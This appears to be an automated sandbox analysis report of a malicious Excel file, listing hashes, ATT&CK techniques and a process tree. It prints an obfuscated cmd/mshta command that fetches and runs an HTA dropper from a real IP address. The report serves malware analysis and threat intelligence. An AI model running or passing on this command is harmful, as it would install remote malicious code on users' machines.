4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 23:11

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General

Target

4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023.xls
Size

64KB
MD5

3c0713729a618813a180b8f38e669d30
SHA1

04cc90dfa13f79366e6ff15067a211fc02bba995
SHA256

4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023
SHA512

8c3881d47e1a1a00df7181f44c86b9595c986f5a99f98e81b82ca8c41030d00648158b6b7c629b33f94a3feccb767c39a6f2ec402969af2ec4c894f42acee315
SSDEEP

1536:d0Nk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKzMk9B+ooszMk9A+oos:dak3hbdlylKsgqopeJBWhZFGkE+cL2NP

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/oo.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2076	2236	cmd.exe	30

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2420	mshta.exe
5	2420	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2236	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2236	EXCEL.EXE
2236	EXCEL.EXE
2236	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 2076	2236	EXCEL.EXE	31
PID 2236 wrote to memory of 2076	2236	EXCEL.EXE	31
PID 2236 wrote to memory of 2076	2236	EXCEL.EXE	31
PID 2236 wrote to memory of 2076	2236	EXCEL.EXE	31
PID 2076 wrote to memory of 2420	2076	cmd.exe	33
PID 2076 wrote to memory of 2420	2076	cmd.exe	33
PID 2076 wrote to memory of 2420	2076	cmd.exe	33
PID 2076 wrote to memory of 2420	2076	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4a11fc3171835a6afc00ef51c5bc3014ee77688c3aa9f94228cd0c0c300bb023.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://87.251.86.178/pp/oo.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2236-1-0x000000007268D000-0x0000000072698000-memory.dmp

Filesize
44KB

Download
memory/2236-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2236-11-0x000000007268D000-0x0000000072698000-memory.dmp

Filesize
44KB

Download